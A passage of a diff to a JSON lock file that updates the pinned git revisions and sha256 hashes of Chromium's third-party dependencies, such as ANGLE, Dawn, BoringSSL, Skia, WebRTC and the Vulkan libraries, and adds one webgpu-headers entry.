+        "rev": "9810fb23f6ba666f017c2b67c67de2bcac2b44bd",
+        "hash": "sha256-DkCvfFjMztFTzKf081XyiefW6tMBSZ1AdzcPzXAVPnk="
       },
       "src/third_party/libunwind/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libunwind.git",
-        "rev": "81e2cb40a70de2b6978e6d8658891ded9a77f7e3",
-        "hash": "sha256-XdFKn+cGOxA0fHkVMG9UAhCmpML44ocoyHB7XnumX7o="
+        "rev": "8575f4ae4fcf8892938bd9766cf1a5c90a0ed04e",
+        "hash": "sha256-O1S3ijnoVrTHmZDGmgQQe0MVGsSZL7usXAPflGFmMXY="
       },
       "src/third_party/llvm-libc/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libc.git",
-        "rev": "cc59264cf9b2ecab0cfc8b51f6f1878372416d36",
-        "hash": "sha256-wQMUL5uAaR8sA1V0FHTZv3jVVaF3NxiHfNnlMq3YImY="
+        "rev": "9c3ae3120fe83b998d0498dcc9ad3a56c29fad0c",
+        "hash": "sha256-BsoHIvdqgYzBUkd23++enEHIhq5GeVWrWdVdhXrHh9A="
       },
       "src/chrome/test/data/perf/canvas_bench": {
         "url": "https://chromium.googlesource.com/chromium/canvas_bench.git",
@@ -872,8 +872,8 @@
       },
       "src/docs/website": {
         "url": "https://chromium.googlesource.com/website.git",
-        "rev": "e157e12d99cfc729a970b474344673c44e2d2c9c",
-        "hash": "sha256-fowwJbXOR4OIN4+1bJEWv9VP/TLHb9+H1Vt3apVLwkk="
+        "rev": "d21d90790d8ea421b317c4cb52a0d94133422796",
+        "hash": "sha256-X9GIZkPokZ8ojNVDScDQL8D0tJGsaQMg8ncenuBzFHk="
       },
       "src/media/cdm/api": {
         "url": "https://chromium.googlesource.com/chromium/cdm.git",
@@ -882,8 +882,8 @@
       },
       "src/net/third_party/quiche/src": {
         "url": "https://quiche.googlesource.com/quiche.git",
-        "rev": "faec206356fe384c522f34982ae2e92f2f111242",
-        "hash": "sha256-8SuRhYAD3RWMiqD/a8usrRnYKd6prAK5jdwJVXRI+Q0="
+        "rev": "3b42119c3e4be5d4720c3c1b384106fa43e9b5e3",
+        "hash": "sha256-UYyBMjv6ATIwBXYngGof85pBCHXb/jYXetVo0oBrHf8="
       },
       "src/testing/libfuzzer/fuzzers/wasm_corpus": {
         "url": "https://chromium.googlesource.com/v8/fuzzer_wasm_corpus.git",
@@ -897,8 +897,8 @@
       },
       "src/third_party/angle": {
         "url": "https://chromium.googlesource.com/angle/angle.git",
-        "rev": "df9c59dcacff7d186d00e3263a1aa68f8059137c",
-        "hash": "sha256-ybi/DwOQ10I+MK9buKpdNcUlFAI9RA3NfyoB3Udpfyo="
+        "rev": "df15136b959fc60c230265f75ee7fc75c96e8250",
+        "hash": "sha256-b4bGxhtrsfmVdJo/5QT4/mtQ6hqxmfpmcrieqaT9/ls="
       },
       "src/third_party/angle/third_party/glmark2/src": {
         "url": "https://chromium.googlesource.com/external/github.com/glmark2/glmark2",
@@ -912,8 +912,8 @@
       },
       "src/third_party/angle/third_party/VK-GL-CTS/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/VK-GL-CTS",
-        "rev": "dd7e71367795e2dc4d46effda5378f22e9000d16",
-        "hash": "sha256-EZoSoDLFWRR2xkHOKNaNVQvubFp8in0p7/CHN8CFaVI="
+        "rev": "c9d2e24d1a6da00165a0b5908ea4ba05c2e5f0b2",
+        "hash": "sha256-EFhi4dELfyq6FcB+YFlzKfoXz44i5ieFK1KUlFzqE1I="
       },
       "src/third_party/anonymous_tokens/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/anonymous-tokens.git",
@@ -932,8 +932,8 @@
       },
       "src/third_party/dawn": {
         "url": "https://dawn.googlesource.com/dawn.git",
-        "rev": "fbe707f88ccabca01031e47bf165bd9d499878dd",
-        "hash": "sha256-8tmDR3l7eHWUfVRU90Kg76N/moU6Lb5b3FySJOckl8U="
+        "rev": "86772f20cca54b46f62b65ece1ef61224aef09db",
+        "hash": "sha256-N9DVbQE56WWBmJ/PJlYhU+pr8I+PFf/7FzMLCNqx3hg="
       },
       "src/third_party/dawn/third_party/glfw": {
         "url": "https://chromium.googlesource.com/external/github.com/glfw/glfw",
@@ -942,8 +942,8 @@
       },
       "src/third_party/dawn/third_party/dxc": {
         "url": "https://chromium.googlesource.com/external/github.com/microsoft/DirectXShaderCompiler",
-        "rev": "8209d53f0ef0257e5b8c78d22057086403946cca",
-        "hash": "sha256-2yM8Fct7Ru8ZSFr+Qm1Bv52K2/geAwmOpWc/X7yxLQY="
+        "rev": "d72e2b1a15d22fc825e2f3c939f1baac43281ae9",
+        "hash": "sha256-0LfNcR1FXy5GcL2yHHA6A7EJIWtZU1U/2xSq/eysUa0="
       },
       "src/third_party/dawn/third_party/dxheaders": {
         "url": "https://chromium.googlesource.com/external/github.com/microsoft/DirectX-Headers",
@@ -962,8 +962,13 @@
       },
       "src/third_party/dawn/third_party/webgpu-cts": {
         "url": "https://chromium.googlesource.com/external/github.com/gpuweb/cts",
-        "rev": "3df76734dc695c4d1c51276b5d9eb63078362972",
-        "hash": "sha256-4jCsCt2rcUpUk2xeL3tZx/jTnuJ+COG+xsDtR+sK1oQ="
+        "rev": "905c7cbfeaac1cf3feb4c6056dd6f3dbaa06b074",
+        "hash": "sha256-eMDb0nG9HDiesd8KPajbMej8JTll4JkIf17KMnKvW1s="
+      },
+      "src/third_party/dawn/third_party/webgpu-headers/src": {
+        "url": "https://chromium.googlesource.com/external/github.com/webgpu-native/webgpu-headers",
+        "rev": "60cd9020309b87a30cd7240aad32accd24262a5e",
+        "hash": "sha256-+Kf4yPBhM6y2kYTZud9vCavT/BBOzDBsph5+/bUuwkM="
       },
       "src/third_party/highway/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/highway.git",
@@ -977,13 +982,13 @@
       },
       "src/third_party/boringssl/src": {
         "url": "https://boringssl.googlesource.com/boringssl.git",
-        "rev": "918cf66ed841930fe1554ae8d78974b95e989596",
-        "hash": "sha256-gzcXse/emv9JBMiInUV5KTeyMQ0igUdFpzUJR4vCUu4="
+        "rev": "9295969e1dad2c31d0d99481734c1c68dcbc6403",
+        "hash": "sha256-+Gs+efB1ZizjMYRSRTQrMDPZsDC+dgNJ9+yHXkzm/ZM="
       },
       "src/third_party/breakpad/breakpad": {
         "url": "https://chromium.googlesource.com/breakpad/breakpad.git",
-        "rev": "232a723f5096ab02d53d87931efa485fa77d3b03",
-        "hash": "sha256-0ynZuxIqBIpNkfD3Y9XdPFQr7HeQcsUO3lhnqvH+k8c="
+        "rev": "2625edb085169e92cf036c236ac79ab594a7b1cc",
+        "hash": "sha256-+Z7KphmQYCeN0aJkqyMrJ4tIi3BhqN16KoPNLb/bMGo="
       },
       "src/third_party/cast_core/public/src": {
         "url": "https://chromium.googlesource.com/cast_core/public",
@@ -992,8 +997,8 @@
       },
       "src/third_party/catapult": {
         "url": "https://chromium.googlesource.com/catapult.git",
-        "rev": "000f47cfa393d7f9557025a252862e2a61a60d44",
-        "hash": "sha256-FIJZE1Qu1MLZA4qxB68k1NjhgSbFTjf57YF85JicVZw="
+        "rev": "5477c6dfde1132b685c73edc16e1bc71449a691d",
+        "hash": "sha256-xHe9WoAq1FElMSnu5mlEzrH+EzKiwWXeXMCH69KL5a0="
       },
       "src/third_party/ced/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/compact_enc_det.git",
@@ -1027,23 +1032,23 @@
       },
       "src/third_party/cros_system_api": {
         "url": "https://chromium.googlesource.com/chromiumos/platform2/system_api.git",
-        "rev": "68114875ad35b573034a2ab1f5cdf3dbb0e59468",
-        "hash": "sha256-cGpteAnjGcxJUcrdLRFfQN7ruTEdNvNCbOH6EC+a39s="
+        "rev": "fe88d943e5f328b34e38b91296db39650f6ec6f3",
+        "hash": "sha256-WlSxI1J+HjAD2UaQjW3oOQpZDnMn/ROpTLYTP4efTi4="
       },
       "src/third_party/crossbench": {
         "url": "https://chromium.googlesource.com/crossbench.git",
-        "rev": "d91cc488cd651b00009e5d6c70f222362598bec9",
-        "hash": "sha256-o/sw1P+mZOSb6XIVFivC02hTPu++x+xJy2SRP2I9yGE="
+        "rev": "feff46a3cd49eb39667205cdfa2b490bcffc9ba1",
+        "hash": "sha256-YomhvLtDFkGWyivN81gRxtOh9U32Zt6+/obTwccJuRo="
       },
       "src/third_party/depot_tools": {
         "url": "https://chromium.googlesource.com/chromium/tools/depot_tools.git",
-        "rev": "1fcc527019d786502b02f71b8b764ee674a40953",
-        "hash": "sha256-7HJyJARZPes5MmKgXd3TV1uRjk0bH/pkPm+F4scg+Tc="
+        "rev": "a8900cc0f023d6a662eb66b317e8ddceeb113490",
+        "hash": "sha256-1avxBlK0WLHTru5wUecbiGpSEYv8Epobsl4EfCaWX9A="
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "afc8e923a37090445d6d97ca23fea49d9eb7b9cf",
-        "hash": "sha256-io0J6tt0RXumjjSklZyJpALV5IikPbROd40xcrX4iBs="
+        "rev": "f8dfe8b36e516cef8a5a169e88d16480d8abdc68",
+        "hash": "sha256-7ygnGBAeiLxwbTx5s7LRs9+ZOe06tr8VFcSY5cVHnS4="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",
@@ -1057,8 +1062,8 @@
       },
       "src/third_party/eigen3/src": {
         "url": "https://chromium.googlesource.com/external/gitlab.com/libeigen/eigen.git",
-        "rev": "464c1d097891a1462ab28bf8bb763c1683883892",
-        "hash": "sha256-OJyfUyiR8PFSaWltx6Ig0RCB+LxPxrPtc0GUfu2dKrk="
+        "rev": "ae3aba99db4c829b4cc4d9fdd54321dedd814dc4",
+        "hash": "sha256-dWWjpQ6M7udOQqUV6P9go3R3O4J2XYpvkngJjRDY4v8="
       },
       "src/third_party/farmhash/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/farmhash.git",
@@ -1072,8 +1077,8 @@
       },
       "src/third_party/ffmpeg": {
         "url": "https://chromium.googlesource.com/chromium/third_party/ffmpeg.git",
-        "rev": "01f23648c6b84de6c0f717fa4e1816f53b9ee72e",
-        "hash": "sha256-hNzQZQxaa2Wtl7GWWF852cFmmXy4pc15Pp0d59TTfnI="
+        "rev": "dcdd0fa51b65a0b1688ff6b8f0cc81908f09ded2",
+        "hash": "sha256-noc3iZ1yCEgkwWyznx48rXC8JuKxla9QgC/CIjRL/y8="
       },
       "src/third_party/flac": {
         "url": "https://chromium.googlesource.com/chromium/deps/flac.git",
@@ -1087,8 +1092,8 @@
       },
       "src/third_party/fontconfig/src": {
         "url": "https://chromium.googlesource.com/external/fontconfig.git",
-        "rev": "14d466b30a8ab4a9d789977ed94f2c30e7209267",
-        "hash": "sha256-W5WIgC6A52kY4fNkbsDEa0o+dfd97Rl5NKfgnIRpI00="
+        "rev": "8cf0ce700a8abe0d97ace4bf7efc7f9534b729ba",
+        "hash": "sha256-Kz7KY+evfOciKFHIBLG1JxIRgHRTzuBLgxXHv3m/Y1Y="
       },
       "src/third_party/fp16/src": {
         "url": "https://chromium.googlesource.com/external/github.com/Maratyszcza/FP16.git",
@@ -1102,8 +1107,8 @@
       },
       "src/third_party/freetype/src": {
         "url": "https://chromium.googlesource.com/chromium/src/third_party/freetype2.git",
-        "rev": "2d1abd3bbb4d2396ed63b3e5accd66724cf62307",
-        "hash": "sha256-MAVHzILj9f+/HfVjZXyJkSQM3WBwzg7IDpAwiYHfA88="
+        "rev": "738905b34bd1f5a8ff51bd2bc8e38a2d8be9bfd6",
+        "hash": "sha256-j5FPldhIOzsOsFBAMyNh44FTeOD8Gm3scoi3B3hhgKQ="
       },
       "src/third_party/freetype-testing/src": {
         "url": "https://chromium.googlesource.com/external/github.com/freetype/freetype2-testing.git",
@@ -1152,8 +1157,8 @@
       },
       "src/third_party/googletest/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/googletest.git",
-        "rev": "cd430b47a54841ec45d64d2377d7cabaf0eba610",
-        "hash": "sha256-QT9PQ9bF+eCPfRLkcHpH4jc0UZfGPc98fHf8QDV5bZg="
+        "rev": "09ffd0015395354774c059a17d9f5bee36177ff9",
+        "hash": "sha256-md/jPkFrs/0p0BYGyquh57Zxh+1dKaK26PDtUN1+Ce0="
       },
       "src/third_party/hunspell_dictionaries": {
         "url": "https://chromium.googlesource.com/chromium/deps/hunspell_dictionaries.git",
@@ -1162,8 +1167,8 @@
       },
       "src/third_party/icu": {
         "url": "https://chromium.googlesource.com/chromium/deps/icu.git",
-        "rev": "4c8cc4b365a505ce35be1e0bd488476c5f79805d",
-        "hash": "sha256-eGI/6wk6IOUPvX7pRTm4VJk1CqkkxalTu84L36i/D6k="
+        "rev": "b929596baebf0ab4ac7ec07f38365db4c50a559d",
+        "hash": "sha256-/T7uyzwTCDaamLwSvutvbn6BJuoG1RqeR+xhXI5jmJw="
       },
       "src/third_party/jsoncpp/source": {
         "url": "https://chromium.googlesource.com/external/github.com/open-source-parsers/jsoncpp.git",
@@ -1182,8 +1187,8 @@
       },
       "src/third_party/fuzztest/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/fuzztest.git",
-        "rev": "b10387fdbbca18192f85eaa5323a59f44bf9c468",
-        "hash": "sha256-L2QG0pUmGjGdtdlivxYfxSqO9YaVHpIT6lvJwBMTxMw="
+        "rev": "f03aafb7516050ea73f617bf969f03eac641aefc",
+        "hash": "sha256-MHli8sadgC3OMesBGhkjPM/yW49KFOtdFuBII1bcFas="
       },
       "src/third_party/domato/src": {
         "url": "https://chromium.googlesource.com/external/github.com/googleprojectzero/domato.git",
@@ -1197,18 +1202,18 @@
       },
       "src/third_party/libaom/source/libaom": {
         "url": "https://aomedia.googlesource.com/aom.git",
-        "rev": "719f60edc51b6141a2434bf1b5110c2fb075b246",
-        "hash": "sha256-W62uXVbQiq6Ef3bar2NsCXJoz5KKUK8Y/9n2vK7Vf3Q="
+        "rev": "2cca4aba034f99842c2e6cdc173f83801d289764",
+        "hash": "sha256-pyLKjLG83Jlx6I+0M8Ah94ku4NIFcrHNYswfVHMvdrc="
       },
       "src/third_party/crabbyavif/src": {
         "url": "https://chromium.googlesource.com/external/github.com/webmproject/CrabbyAvif.git",
-        "rev": "02d0fad2c512380b7270d6e704c86521075d7d54",
-        "hash": "sha256-T9ibgp0glfY5EhwMiwlvXKZat0InDu7PoqE1H8/lS5A="
+        "rev": "eb883022a5886739f07f0241f918e2be97d65ff0",
+        "hash": "sha256-IxtMAqN3O/s1GrVKzcge9cQ+DVtJtFvHYvsfjmflwVQ="
       },
       "src/third_party/nearby/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/nearby-connections.git",
-        "rev": "e71de0e0c312caf8d2fa22f132619c6a68496444",
-        "hash": "sha256-dzJtRhoPA1FWeu0xjd7kJ1Q2nT5gIkKpIgQmywsRlPY="
+        "rev": "959322177f40f2e0f1ecacd8a1aea2805e67b62b",
+        "hash": "sha256-qFLs3gMV0v6c0gjyn29D6pRxSAKumpzAWVgHabPFWRw="
       },
       "src/third_party/securemessage/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/securemessage.git",
@@ -1217,8 +1222,8 @@
       },
       "src/third_party/jetstream/main": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/JetStream.git",
-        "rev": "0976ddeae0863ef5fb3f9ad09906224b0989f9ad",
-        "hash": "sha256-NyXGd7SwsECGBJ2qodGYB3os+UBgIOg/I8mnrsZJuTg="
+        "rev": "539ab943598b505832a25a2222aa8957f1a20d6f",
+        "hash": "sha256-mE6IoHpLV0LUWEeeiWycXtOhIbhkPvVdLvsPSyv4xPk="
       },
       "src/third_party/jetstream/v2.2": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/JetStream.git",
@@ -1312,13 +1317,13 @@
       },
       "src/third_party/libvpx/source/libvpx": {
         "url": "https://chromium.googlesource.com/webm/libvpx.git",
-        "rev": "40ec928b3fadcf8edd836445bb5842a11aeb7a2d",
-        "hash": "sha256-aUHvIv78KTiyN/cOYNuhW4UCOD55s8l8VLu4oP0Pk1s="
+        "rev": "b84ca9b63730e7d4563573a56a66317eb0087ebf",
+        "hash": "sha256-SFdYF8vnwNHQbZ1N/ZHr4kxfi9o+BAtuqbak80m9uP4="
       },
       "src/third_party/libwebm/source": {
         "url": "https://chromium.googlesource.com/webm/libwebm.git",
-        "rev": "e79a98159fdf6d1aa37b3500e32c6410a2cbe268",
-        "hash": "sha256-t7An0vYzukel0poLaU4t2k78k3tTR5didbcV47cGWxQ="
+        "rev": "c4522d6cd68582d66f1adfd24debfa9bee202afa",
+        "hash": "sha256-tfji0yPV7v/DETViEp2T7AO6P5xCjPYScTlV3eWFV0w="
       },
       "src/third_party/libwebp/src": {
         "url": "https://chromium.googlesource.com/webm/libwebp.git",
@@ -1327,8 +1332,8 @@
       },
       "src/third_party/libyuv": {
         "url": "https://chromium.googlesource.com/libyuv/libyuv.git",
-        "rev": "9f9b5cf660dcfa0d3fdee41cf4ffbe4bb6e95114",
-        "hash": "sha256-OYmsMPz7nJwkVSpsDW7SbqrCU5raC1k3Mh/UkonCujM="
+        "rev": "61bdaee13a701d2b52c6dc943ccc5c888077a591",
+        "hash": "sha256-J9Wi3aCc6OjtQCP8JnrY7PYrY587dKLaa1KGAMWmE0c="
       },
       "src/third_party/lss": {
         "url": "https://chromium.googlesource.com/linux-syscall-support.git",
@@ -1362,13 +1367,13 @@
       },
       "src/third_party/openscreen/src": {
         "url": "https://chromium.googlesource.com/openscreen",
-        "rev": "40fe10467c27b6536e5d3241e5881b6e9f243216",
-        "hash": "sha256-fKXCuGzNVcN8l/2VNR5c9lwUjmSDb7MuEAVF5h8VXQU="
+        "rev": "8cc5a0e8f6695263d44206cf5930641979cb3179",
+        "hash": "sha256-YlcvSDSCHHqDA43+hd5hpajZrIGqpn3KxhMJD8Wf+rs="
       },
       "src/third_party/openscreen/src/buildtools": {
         "url": "https://chromium.googlesource.com/chromium/src/buildtools",
-        "rev": "00459762409cb29cecf398a23cdb0cae918b7515",
-        "hash": "sha256-QXGJRGyyuN0EPDAF7CAzcTSbjHkz8FRjhqd1JEFF/1o="
+        "rev": "077a66f30fcf281b066fafb6dfc60818c238efb6",
+        "hash": "sha256-WnbgaCzZ/BJli6M60kP9e4mVPFDx0yu3eCac5wmQ7iM="
       },
       "src/third_party/openscreen/src/third_party/tinycbor/src": {
         "url": "https://chromium.googlesource.com/external/github.com/intel/tinycbor.git",
@@ -1377,23 +1382,23 @@
       },
       "src/third_party/pdfium": {
         "url": "https://pdfium.googlesource.com/pdfium.git",
-        "rev": "c82c611f105c0df064cc8c76363578caf9eafb75",
-        "hash": "sha256-kcrWcvbbGgQTfGypJ2EaLunYtSipJJRAin2jHunZoCU="
+        "rev": "cf433ae5520d061db56391155b59b34e67484f39",
+        "hash": "sha256-FF0iXahVfqbi4OOdH9PPgCTAIQT/q0nlT/H70pubCMQ="
       },
       "src/third_party/perfetto": {
         "url": "https://chromium.googlesource.com/external/github.com/google/perfetto.git",
-        "rev": "f35ae1939989c58c29df43f9c2d8610f5b932715",
-        "hash": "sha256-SyYTZnNar6F6/k6PGrkRan3l9hAikEVRciDQQaR7Jvs="
+        "rev": "dd35b295cd359ba094404218414955f961a0d6ae",
+        "hash": "sha256-kzVsti2tygOMgT61TmCz26AByMd3gIXA6xz8RE0iCz4="
       },
       "src/third_party/protobuf-javascript/src": {
         "url": "https://chromium.googlesource.com/external/github.com/protocolbuffers/protobuf-javascript",
-        "rev": "eb785a9363664a402b6336dfe96aad27fb33ffa8",
-        "hash": "sha256-zq86SrDASl6aYPFPijRZp03hJqXUFz2Al/KkiNq7i0M="
+        "rev": "28bf5df73ef2f345a936d9cc95d64ba8ed426a53",
+        "hash": "sha256-c/aC+LZQtedL5oouUXw2eTF6xD7LN3J3C0q3D0wl+W0="
       },
       "src/third_party/pthreadpool/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/pthreadpool.git",
-        "rev": "290ee6fff0c36614702d6b297c148e3fa08e056a",
-        "hash": "sha256-jRHF7vZPmh70jNFVukfWzVnA2dBLSDSnMWVyZ9e08n4="
+        "rev": "dcc9f28589066af0dbd4555579281230abbf74dd",
+        "hash": "sha256-qogacGPNy6SKQaK8CZvGC8YZbVjhDTXuhDqGopB0Eps="
       },
       "src/third_party/pyelftools": {
         "url": "https://chromium.googlesource.com/chromiumos/third_party/pyelftools.git",
@@ -1422,13 +1427,13 @@
       },
       "src/third_party/search_engines_data/resources": {
         "url": "https://chromium.googlesource.com/external/search_engines_data.git",
-        "rev": "be408bdc2c1501ef25206145a49dcebb98db34b5",
-        "hash": "sha256-XlAE782PsEysPVIBM/Q8VdE9XnvoYUVaeMmUUoYFgvM="
+        "rev": "09fd22f3a4fb77ab03b7734e0c03ff7d7f97ef88",
+        "hash": "sha256-x7zGPqha12Og/AjQp1mkO0MNydM4xXvIcaapNziW0Kw="
       },
       "src/third_party/skia": {
         "url": "https://skia.googlesource.com/skia.git",
-        "rev": "0dfd95a49aed617f242c8b06dd5b255d1cb07776",
-        "hash": "sha256-HBqkqEoyQo3KuRCwP5NW9kuY9maaBYSpjA1lcBdFjxk="
+        "rev": "a46d5732d9fca93eaec23e502e2eef814b707e6b",
+        "hash": "sha256-k0vE2K9KfeYsTVZchvKEA8M7GJQcekbuO5wHJeycBZo="
       },
       "src/third_party/smhasher/src": {
         "url": "https://chromium.googlesource.com/external/smhasher.git",
@@ -1442,13 +1447,13 @@
       },
       "src/third_party/sqlite/src": {
         "url": "https://chromium.googlesource.com/chromium/deps/sqlite.git",
-        "rev": "8a22b25ad7244abaf07e372cc6dc97e041d663a9",
-        "hash": "sha256-1vAGAF3idxgHGaqb5gT5k3KIGC2H3gqC3RTVU2ZRf4A="
+        "rev": "0a1397d274701c5d39e661e948160da2b9a8db1e",
+        "hash": "sha256-jqelU2bFZ4XwI5dpkusvgUobmRyYo/41ZKqbEmOdpis="
       },
       "src/third_party/swiftshader": {
         "url": "https://swiftshader.googlesource.com/SwiftShader.git",
-        "rev": "7905fa19e456df5aa8e2233a7ec5832c9c6c287b",
-        "hash": "sha256-Wi8mttxM1fuLqrL2q6qPnpmyAfmDqJGA8Wub+yexFLA="
+        "rev": "a8133cbb3c8969e3c1e6b3cea2c02ec8312ef9ca",
+        "hash": "sha256-Fd6T9zFJVPJaF2sbBy+uK0Ia0C6AIZsDbNvPSkbuTJM="
       },
       "src/third_party/text-fragments-polyfill/src": {
         "url": "https://chromium.googlesource.com/external/github.com/GoogleChromeLabs/text-fragments-polyfill.git",
@@ -1457,18 +1462,18 @@
       },
       "src/third_party/tflite/src": {
         "url": "https://chromium.googlesource.com/external/github.com/tensorflow/tensorflow.git",
-        "rev": "42d6877b1aa1cf324eb03ccf9b13511400341deb",
-        "hash": "sha256-KummGT7CUoGd3lCGXvtSFcFD1FhSlJXDcEi1WKUza70="
+        "rev": "151774faba661a5985a8264653f4457c70a56dea",
+        "hash": "sha256-qpwF2+/dw1u24O5+4bW74R43AgGN//NZwzEmlkyHlr0="
       },
       "src/third_party/vulkan-deps": {
         "url": "https://chromium.googlesource.com/vulkan-deps",
-        "rev": "96793fb0ff6fb5d4328cc6f71d84f5cb2d835daf",
-        "hash": "sha256-rAtsw8JV8EwrNzjK5p7JbWQa6fHfpByvZcP71hHC8uM="
+        "rev": "5912cbdd295c2bacb5798432a7b1cac9d20c0725",
+        "hash": "sha256-kIj8sncNg6dJzg1fgORev/o164G3kMXCGHzlzb09n0U="
       },
       "src/third_party/glslang/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/glslang",
-        "rev": "fc9889c889561c5882e83819dcaffef5ed45529b",
-        "hash": "sha256-HwFP4KJuA+BMQVvBWV0BCRj9U5I3CLEU+5bBtde2f6w="
+        "rev": "93231001597dad1149a5d035af30eda50b9e6b6c",
+        "hash": "sha256-0PocroQj02mdpmFVXr6XB7mVVNzQOaBXm/2GNacZLF0="
       },
       "src/third_party/spirv-cross/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Cross",
@@ -1477,38 +1482,38 @@
       },
       "src/third_party/spirv-headers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Headers",
-        "rev": "bab63ff679c41eb75fc67dac76e1dc44426101e1",
-        "hash": "sha256-hi4vCwdCnwuYodUYq75niCZt2t9lERQH6529/R+7nH8="
+        "rev": "c9aad99f9276817f18f72a4696239237c83cb775",
+        "hash": "sha256-/KfUxWDczLQ/0DOiFC4Z66o+gtoF/7vgvAvKyv9Z9OA="
       },
       "src/third_party/spirv-tools/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Tools",
-        "rev": "8e9165a3d162967a424dcf2ff645a98b50381cce",
-        "hash": "sha256-GsoaeO3FMzMtMStg1Wp0KUHU3Xxmmr7t3lDyu0ervNk="
+        "rev": "01021466b5e71deaac9054f56082566c782bfd51",
+        "hash": "sha256-04CWBDu4Q+H7EtVTealNyGx0Hml7OjIf0FfK0IuzisY="
       },
       "src/third_party/vulkan-headers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Headers",
-        "rev": "e2e53a724677f6eba8ff0ce1ccb64ee321785cbd",
-        "hash": "sha256-lIuJ50zi9UIMrP/FePI8jHFhJ5LsKhthDY4gIHeZNpo="
+        "rev": "75ad707a587e1469fb53a901b9b68fe9f6fbc11f",
+        "hash": "sha256-vB49bFCx9VVEtpwIFcxdqYT+Pk4DgjoPz4rzPfmuRps="
       },
       "src/third_party/vulkan-loader/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Loader",
-        "rev": "fb78607414e154c7a5c01b23177ba719c8a44909",
-        "hash": "sha256-CeIjyW90Ri0MvhyFfYgss5Rjh5fHKhQf7CgBEcB/nPk="
+        "rev": "c913466fdc5004584890f89ff91121bdb2ffd4ba",
+        "hash": "sha256-D5S1xQbsJ4Ov+3u84Mxj3L/3elyW78jpKRbYo8FpD28="
       },
       "src/third_party/vulkan-tools/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Tools",
-        "rev": "0b8196724e4ad28cc7459b82a9b75f252c08cb3e",
-        "hash": "sha256-oL4lyUH26eO6eJy7EQmuXdt4oy3eQ65fribfMSOZV+8="
+        "rev": "60b640cb931814fcc6dabe4fc61f4738c56579f6",
+        "hash": "sha256-snLYtiXK1eBZYsc7X18/wk4TnhmkSqquWxyjmw9IF2A="
       },
       "src/third_party/vulkan-utility-libraries/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Utility-Libraries",
-        "rev": "4e246c56ec5afb5ad66b9b04374d39ac04675c8e",
-        "hash": "sha256-MmC4UVa9P/0h7r8IBp1LhP9EztwyZv/ASWKKj8Gk1T8="
+        "rev": "49ac28931f28bffaa3cd73dc4ad997284d574962",
+        "hash": "sha256-2mi5gtacSDxtZB8a3oGZqgLhwntSLXlEzDq6W14RHp4="
       },
       "src/third_party/vulkan-validation-layers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-ValidationLayers",
-        "rev": "cea6ec1cdd37494c1f0fc5619c6c356ac33372fb",
-        "hash": "sha256-iXQZ6Qpe0li+QeThxMUCn45OufZ8W/qJcejpMb4/gWc="
+        "rev": "f7ceb1d01a292846db77ec87786be84d6fd568d9",
+        "hash": "sha256-K0KZ8wXTCVRBBN9AWy63ukmE6QkQHKcRgo+YluOhjyc="
       },
       "src/third_party/vulkan_memory_allocator": {
         "url": "https://chromium.googlesource.com/external/github.com/GPUOpen-LibrariesAndSDKs/VulkanMemoryAllocator.git",
@@ -1552,18 +1557,18 @@
       },
       "src/third_party/webgpu-cts/src": {
         "url": "https://chromium.googlesource.com/external/github.com/gpuweb/cts.git",
-        "rev": "168536ad91bff176bbe31ae692d97f8bfe9fb86d",
-        "hash": "sha256-HB16HM4Gj+2F26tyN393VmHbGxvKOZ+M949059odN/4="
+        "rev": "905c7cbfeaac1cf3feb4c6056dd6f3dbaa06b074",
+        "hash": "sha256-eMDb0nG9HDiesd8KPajbMej8JTll4JkIf17KMnKvW1s="
       },
       "src/third_party/webpagereplay": {
         "url": "https://chromium.googlesource.com/webpagereplay.git",
-        "rev": "2c5049abfc2cf36ece82f7f84ebdcb786659eaf7",
-        "hash": "sha256-lMqCZ27TJ4aXKWDuN22VtceXh0jNH4Ll1234xCbEOro="
+        "rev": "18172a359f6dab8e3f70b6c5c8c7c55d3e97537a",
+        "hash": "sha256-qJnO3fFJhaQA77v1lTJ4B7cbXivquTcSvx/m+OcI3No="
       },
       "src/third_party/webrtc": {
         "url": "https://webrtc.googlesource.com/src.git",
-        "rev": "cec4daea7ed5da94fc38d790bd12694c86865447",
-        "hash": "sha256-mxRckkiBIpQp2Qxj6fcer3jDftp3wlg+aO4BoUHhyiY="
+        "rev": "e4445e46a910eb407571ec0b0b8b7043562678cf",
+        "hash": "sha256-72NbtdYbyMxSGULvOGsZqLj4kvT79pu+TKcnEmcj/Pc="
       },
       "src/third_party/wuffs/src": {
         "url": "https://skia.googlesource.com/external/github.com/google/wuffs-mirror-release-c.git",
@@ -1582,18 +1587,18 @@
       },
       "src/third_party/xnnpack/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/XNNPACK.git",
-        "rev": "474d7e58d4b8f4bd1a98ee74bc57858769f7d925",
-        "hash": "sha256-UO+nOh7R+3xTSxF2u8dIrv7qn/QmhnDr2J5Ciumj93M="
